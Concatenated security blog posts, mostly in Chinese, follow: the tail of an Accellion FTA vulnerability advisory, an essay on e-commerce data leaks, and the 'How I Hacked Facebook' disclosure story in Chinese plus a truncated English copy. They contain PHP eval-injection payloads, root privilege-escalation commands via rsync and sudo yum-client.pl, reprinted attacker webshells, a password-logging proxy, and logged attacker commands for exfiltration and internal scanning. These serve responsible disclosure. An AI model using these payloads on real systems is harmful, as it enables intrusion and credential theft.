            $func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
            ++$p_no;
        }
        $func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
    }
}
echo @eval( $func_call );

如果已知加密 KEY 的話,即可控制 decrypt( $_POST[fc] ) 的輸出,而後面的正規表示式雖然針對函數名稱進行白名單過濾,但是沒對參數進行過濾,如此一來我們可以在參數的部分插入任意代碼,唯一的條件就是不能有 ( ) 出現,但由於 PHP 的鬆散特性,玩法其實很多,這裡列舉兩個:


直接透過反引號執行系統指令:

user_profile_auth(`$_POST[cmd]`);


更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name,這樣各種保護都不用擔心:

user_profile_auth(include $_FILES[file][tmp_name]);


Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

在取得 PHP 網頁權限後,發現所屬權限為 nobody,為了進行更深入的研究,在對環境進行審視後,發現兩個可用來提升權限之弱點。

1. Rsync 配置錯誤
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...

其中模組名稱 soggycat 對 /home/soggycat/ 為任何人可讀可寫,所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)


2. Command Injection in “yum-client.pl”

在 FTA 中,為了使系統可以直接透過網頁介面進行更新,因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令,並透過 yum-client.pl 這隻程式進行軟體更新

/etc/sudoers
...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root     ALL=(ALL) ALL
admin    ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody   ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin   ALL =NOPASSWD: RESET_APPL
...


其中 YUM_CLIENT 就是進行更新的指令,部分代碼如下:

/usr/local/bin/yum-client.pl
...
GetOptions (
   'help' => \$help,
   'download_only' => \$download_only,
   'list' => \$list,
   'cache' => \$cache,
   'clearcache' => \$clearcache,
   'cdrom=s' => \$cdrom,
   'appid=s' => \$appid,
   'servername=s' => \$servername,
   'version=s' => \$version,
   'token=s' => \$token);

my $YUM_CMD = "/usr/bin/yum";
if ($cache){
  $YUM_CMD = "$YUM_CMD -C";
}

# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';

if ($cdrom){
  if ($OS eq "5"){
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
  }else{
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
  }
  system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}

深入觀察 yum-client.pl 後可發現在 --cdrom 參數上存在 Command Injection,使得攻擊者可將任意指令插入參數內並以 root 身分執行

所以使用如下指令:

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.


bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

即可以 root 身分執行任意指令!

後門


在取得最高權限後,開始對伺服器進行一些審視時,發現已有幾款後門藏在 FTA 主機中了,經過研究後首先確認一款 IRC BOT 為 Niara 所發布的 弱點報告 中有提及,此外,額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現,透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。

PHPSPY 後門,全球 1217 台存活主機上共發現 62 台,放置路徑於:

https://<fta>/courier/themes/templates/Redirector_Cache.php

WSO 後門,全球 1217 台存活主機上共發現 9 台,放置路徑於:

https://<fta>/courier/themes/templates/imag.php


致謝


這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的,詳情可參考文章《滲透 Facebook 的思路與發現》,找到弱點的當下立即回報包括 Accellion 及 Facebook,Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。

感謝 Facebook 以及 Accellion 的迅速反應跟配合 : )

Timeline

  • 2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點
  • 2016/02/07 12:35 將報告寄至 Accellion Support Team
  • 2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復
  • 2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在
  • 2016/06/06 10:20 雙方討論定稿

參考

電商業者的資安困境?

28 July 2016 at 16:00

台灣電商網站蓬勃發展,豐富的個資、金流都吸引了攻擊者。近期刑事局 165 反詐騙網站上常看到很多電商網站面臨個資外洩的問題,新聞也不斷報導民眾因為個資外洩被詐騙集團騙取錢財。資安問題是電商業者面臨到最大的危機,民眾也很憤怒為什麼這些企業都不肯把資安做好。但我相信,電商網站的業主也是有苦難言。不少企業知道該把資安做好,有些可能不得其法,也可能什麼都做了,卻還是無法防止自己的網站出現在 165 詐騙排行的榜單上。

對於無心於資安的業者來說,被揭露這樣的資訊會有一定程度的力量迫使他們把資安做好。但對於已經顧全資安的業者來說,則是摸不著頭緒到底個資從哪邊外洩的。今天我們就來談談,到底電商網站的資安問題是什麼,民眾的個資又是怎麼外洩的。

電商網站的困境

目前電商網站常見的困境有幾點:

  1. 自行開發網站存在漏洞
  2. 委外開發網站存在漏洞,但承包商不處理
  3. 內部員工電腦遭入侵外洩個資
  4. 配合廠商個資外洩,如金流商、物流商
  5. 攻擊者用已外洩帳號密碼登入電商網站
  6. 買家在詐騙集團的賣場交易

黑色產業的發展比大家想像中都還要盛行,若企業對攻擊者來說有利可圖,駭客組織會不擇手段入侵取得資料。因此對網站本身、網站周遭系統、企業內部員工、或者以社交工程手法,只要能取得資料都會是他們下手的目標。

自行開發網站存在漏洞

這是目前企業最需要先解決的問題。若網站本身資安體質不好,則會輕易被攻擊者入侵。資安問題往往都是企業內部最難解的問題,道高一尺魔高一丈,若沒有經過完整的滲透測試,則難以找出問題的根源。找到了問題之後,開發人員的教育訓練、資安機制、資安設備,都會是企業接下來要面對的課題。

解決方案:滲透測試、資安顧問、教育訓練

委外開發網站存在漏洞,但承包商不處理

不少企業沒有自己開發網站,而是發包給外部廠商開發、維運。承包商的品質通常難以掌控,價格戰的業界生態,更讓開發的品質難以提升。但業者最頭大的是:承包商拒絕處理漏洞。若沒有在一開始的委外合約就明訂資安維護標準,在日後發生資安事件時則難以要求承包商修補漏洞。因此建議業者在日後的委外開發案,明訂資安標準、驗收時檢附第三方滲透測試報告,並且將日後資安維護合約獨立於一般維護約之外,強制執行。

解決方案:選商標準、開標規格、驗收標準、資安維護合約

內部員工電腦遭入侵外洩個資

除了伺服器之外,客戶端也是攻擊者下手的目標。當網站難以被入侵,攻擊者就會轉往員工電腦下手。透過社交工程、搭配惡意郵件等 APT 攻擊,入侵個人電腦後取得消費者個資,甚至做為跳板滲透企業內部擴大攻擊成果。若沒有足夠的資安意識,員工將會是企業最大的資安缺口。

解決方案:強化資安思維、權限最小化、APT 防禦

配合廠商個資外洩,如金流商、物流商

當企業裡裡外外都防禦好了,個資還在外洩,到底發生什麼事情了呢?別忘了一個電商網站有各種與外界橋接的服務,例如交易的金流、運輸的物流。若搭配的外部系統遭到入侵,個資一樣會被取得。但民眾、媒體只會覺得「我在這家電商平台買東西被詐騙」,而怪罪到企業本身。企業有責任要求配合的廠商一同將資安、個資把關好。

解決方案:配合廠商的資安規範、滲透測試

攻擊者用已外洩帳號密碼登入電商網站

資安的責任並不僅在企業,有的時候消費者本身帳號的安全也會影響到電商網站的清譽。目前民眾只要接收到詐騙電話,直覺都會是在某個店家的交易被駭,被取得資料後販售給詐騙集團,因而回報給 165 等反詐騙專線。這種案例也會算在電商網站的帳上,但卻不一定是電商網站的問題。這樣的攻擊手法也俗稱「撞庫」。

解決方案:企業間的聯防、提供使用者帳號保護

買家在詐騙集團的賣場交易

只要有利可圖,詐騙集團就會無所不用其極的想獲取利益。當系統已經達成基本的安全、使用者外洩的帳號也已經無法利用之後,詐騙集團將再攻擊人性的漏洞,開設販賣熱門商品的賣場,吸引無辜的受害者購買。或者在賣場的留言區塊假冒賣家,留下自己的 LINE 與消費者溝通,進行詐騙。

解決方案:消費者安全宣導

電商業者該如何自保?

只要有利益的地方,就會有資安危機。雖說道高一尺魔高一丈,但業者並非只能等著被宰。經營網站最重要的就是保護顧客的資料,明白風險的所在。盤點手上的個資位置、機制、措施,謹慎安排資安規劃,確保將安全的風險降到最低。更進一步也可以建立與資安人員良好的關係,公開漏洞通報管道及獎勵機制,鼓勵資安人員優先通報漏洞給企業,避免流入黑色產業。當然,身為消費者的我們,也應該給予負責的企業掌聲。

在未來我們的文章將提到企業應該採取的具體作為,敬請期待!

滲透 Facebook 的思路與發現

20 April 2016 at 16:00

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)


寫在故事之前

身為一位滲透測試人員,比起 Client Side 的弱點我更喜歡 Server Side 的攻擊,能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <( ̄︶ ̄)>

當然一次完美的滲透任何形式的弱點都不可小覷,在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器,但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。

隨著 Facebook 在世界上越來越火紅、用戶量越來越多,一直以來都有想要嘗試看看的想法,恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。

一般如由滲透的角度來說習慣性都會從收集資料、偵查開始,首先界定出目標在網路上的 “範圍” 有多大,姑且可以評估一下從何處比較有機會下手。例如:

  • Google Hacking 到什麼資料?
  • 用了幾個 B 段的 IP ? C 段的 IP ?
  • Whois? Reverse Whois?
  • 用了什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描
  • 公司平常愛用什麼樣技術、設備?
  • 在 Github, Pastebin 上是否有洩漏什麼資訊?
  • …etc

當然 Bug Bounty 並不是讓你無限制的攻擊,將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。

一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討

  1. 對多數大公司而言,”網路邊界” 是比較難顧及、容易出現問題的一塊,當公司規模越大,同時擁有數千、數萬台機器在線,網管很難顧及到每台機器。在攻防裡,防守要防的是一個面,但攻擊只需找個一個點就可以突破,所以防守方相對處於弱勢,攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!
  2. 對於 “連網設備” 的安全意識相對薄弱,由於連網設備通常不會提供 SHELL 給管理員做進一步的操作,只能由設備本身所提供的介面設定,所以通常對於設備的防禦都是從網路層來抵擋,但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。
  3. 人的安全,隨著 “社工庫” 的崛起,有時可以讓一次滲透的流程變得異常簡單,從公開資料找出公司員工列表,再從社工庫找到可以登入 VPN 的員工密碼就可以開始進行內網滲透,尤其當社工庫數量越來越多 “量變成質變” 時只要關鍵人物的密碼在社工庫中可找到,那企業的安全性就全然突破 :P

理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行,在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱

tfbnw.net

TFBNW 似乎是 “TheFacebook Network” 的縮寫
再藉由公開資料發現存在下面這台這台伺服器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面,不過版本滿新的沒有直接可利用的弱點,不過這也成為了進入後面故事的開端。

TFBNW 看似是 Facebook 內部用的域名,來掃掃 vpn.tfbnw.net 同網段看會有什麼發現

  • Mail Server Outlook Web App
  • F5 BIGIP SSL VPN
  • CISCO ASA SSL VPN
  • Oracle E-Business
  • MobileIron MDM

從這幾台機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段,之後一切的故事就從這裡開始。


弱點發現

在同網段中,發現一台特別的伺服器

files.fb.com

files.fb.com ↑ files.fb.com 登入介面


從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)

FTA 為一款標榜安全檔案傳輸的產品,可讓使用者線上分享、同步檔案,並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制,Enterprise 版本更支援 SSL VPN 服務。

首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用,Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory

弱點中可直接從 “/tws/getStatus” 中洩漏的版本資訊判斷是否可利用,在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了,不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的,所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!

不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試,透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!

整個 FTA 產品大致架構

  1. 網頁端介面主要由 Perl 以及 PHP 構成
  2. PHP 原始碼皆經過 IonCube 加密
  3. 在背景跑了許多 Perl 的 Daemon

首先是解密 IonCude 的部分,許多設備為了防止自己的產品被檢視所以會將原始碼加密,不過好在 FTA 上的 IonCude 版本沒到最新,可以使用現成的工具解密,不過由於 PHP 版本的問題,細節部份以及數值運算等可能要靠自己修復一下,不然有點難看…

經過簡單的原始碼審查後發現,好找的弱點應該都被 Rapid7 找走了 T^T
而需要認證才能觸發的漏洞又不怎麼好用,只好認真點往深層一點的地方挖掘!

經過幾天的認真挖掘,最後總共發現了七個弱點,其中包含了

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

除了回報 Facebook 安全團隊外,其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口,經過廠商修補提交 CERT/CC 後取得四個 CVE 編號

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

詳細的弱點細節會待 Full Disclosure Policy 後公布!

shell on facebook ↑ 使用 Pre-Auth SQL Injection 寫入 Webshell


在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善,為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄,避開可能會被發現的風險 :P

Facebook 大致有以下限制:

  1. 防火牆無法連外, TCP, UDP, 53, 80, 443 皆無法
  2. 存在遠端的 Syslog 伺服器
  3. 開啟 Auditd 記錄

無法外連看起來有點麻煩,但是 ICMP Tunnel 看似是可行的,但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。


似乎有點奇怪?

正當收集證據準備回報 Facebook 安全團隊時,從網頁日誌中似乎看到一些奇怪的痕跡。

首先是在 “/var/opt/apache/php_error_log” 中看到一些奇怪的 PHP 錯誤訊息,從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?

PHP error log ↑ PHP error log


跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門

Webshell on facebook server ↑ Webshell on facebook server


其中幾個檔案的內容如下

sshpass

沒錯,就是那個 sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient\_user\_class\_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 

// 省略...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 

// 省略...

前幾個就是很標準的 PHP 一句話木馬
其中比較特別的是 “sclient_user_class_standard.inc” 這個檔案

include_once 中 “sclient_user_class_standard.inc.orig” 為原本對密碼進行驗證的 PHP 程式,駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來

整理一下,駭客做了一個 Proxy 在密碼驗證的地方,並且記錄 Facebook 員工的帳號密碼,並且將記錄到的密碼放置在 Web 目錄下,駭客每隔一段時間使用 wget 抓取

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

logged password
↑ Logged passwords


從紀錄裡面可以看到除了使用者帳號密碼外,還有從 FTA 要求檔案時的信件內容,記錄到的帳號密碼會定時 Rotate (後文會提及,這點還滿機車的XD)

發現當下,最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄,大多都是 “@fb.com” 或是 “@facebook.com” 的員工帳密,看到當下覺得事情有點嚴重了,在 FTA 中,使用者的登入主要有兩種模式

  1. 一般用戶註冊,密碼 Hash 存在資料庫,由 SHA256 + SALT 儲存
  2. Facebook 員工 (@fb.com) 則走統一認證,使用 LDAP 由 AD 認證

在這裡相信記錄到的是真實的員工帳號密碼,**猜測** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…

此外,這名 “駭客” 可能習慣不太好 :P

  1. 後門參數皆使用 GET 來傳遞,在網頁日誌可以很明顯的發現他的足跡
  2. 駭客在進行一些指令操作時沒顧慮到 STDERR ,導致網頁日誌中很多指令的錯誤訊息,從中可以觀察駭客做了哪些操作


從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...


打包檔案

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files


對內部網路結構進行探測

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...


使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD

Port Scanning

嘗試對內部 LDAP 進行連接

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'


嘗試訪問內部網路資源
( 看起來 Mail OWA 可以直接訪問 …)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.


嘗試對 SSL Private Key 下手

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input


從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …

certificate of files.fb.com



後記

在收集完足夠證據後便立即回報給 Facebook 安全團隊,回報內容除了漏洞細節外,還附上相對應的 Log 、截圖以及時間紀錄xD

從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間,一個是七月初、另個是九月中旬

七月初的動作從紀錄中來看起來比較偏向 “逛” 伺服器,但九月中旬的操作就比較惡意了,除了逛街外,還放置了密碼 Logger 等,至於兩個時間點的 “駭客” 是不是同一個人就不得而知了 :P
而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前,究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。


這件事情就記錄到這裡,總體來說這是一個非常有趣的經歷xD
也讓我有這個機會可以來寫寫關於滲透的一些文章 :P

最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊 讓我可以完整記錄這起事件 : )


Timeline

  • 2016/02/05 20:05 提供漏洞詳情給 Facebook 安全團隊
  • 2016/02/05 20:08 收到機器人自動回覆
  • 2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口
  • 2016/02/06 07:42 收到 Thomas 的回覆,告知調查中
  • 2016/02/13 07:43 收到 Reginaldo 的回覆,告知 Bug Bounty 獎金 $10000 USD
  • 2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?
  • 2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection
  • 2016/02/18 收到 Reginaldo 的回覆,告知正在進行調查中,希望 Blog 先暫時不要發出
  • 2016/02/24 收到 Hai 的回覆,告知獎金將會於三月發送
  • 2016/04/20 收到 Reginaldo 的回覆,告知調查已完成

How I Hacked Facebook, and Found Someone's Backdoor Script

20 April 2016 at 16:00

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)


Foreword

As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <( ̄︶ ̄)>

Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.

With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.

From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:

  • What can I find by Google Hacking?
  • How many B Class IP addresses are used? How many C Class IPs?
  • Whois? Reverse Whois?
  • What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
  • What are their preferred techniques and equipment vendors?
  • Any data breach on Github or Pastebin?
  • …etc

Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.

Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.

  1. For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
  2. Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
  3. Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P

For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:

tfbnw.net

TFBNW seemed to stand for “TheFacebook Network
Then I found bellow server through public data

vpn.tfbnw.net

WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.

It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:

  • Mail Server Outlook Web App
  • F5 BIGIP SSL VPN
  • CISCO ASA SSL VPN
  • Oracle E-Business
  • MobileIron MDM

From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.


Vulnerability Discovery

I found a special server among these C Class IPs.

files.fb.com

files.fb.com ↑ Login Interface of files.fb.com


Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)

FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.

Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory

Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!

Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!

The FTA Product

  1. Web-based user interfaces were mainly composed of Perl & PHP
  2. The PHP source codes were encrypted by IonCube
  3. Lots of Perl Daemons in the background

First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…

After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!

Finally, I found 7 vulnerabilities, including

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

More details will be published after full disclosure policy!

shell on facebook ↑ Using Pre-Auth SQL Injection to Write Webshell


After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P

There are some restrictions on the server:

  1. Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
  2. Remote Syslog server
  3. Auditd logs enabled

Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.


Was There Something Strange?

While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.

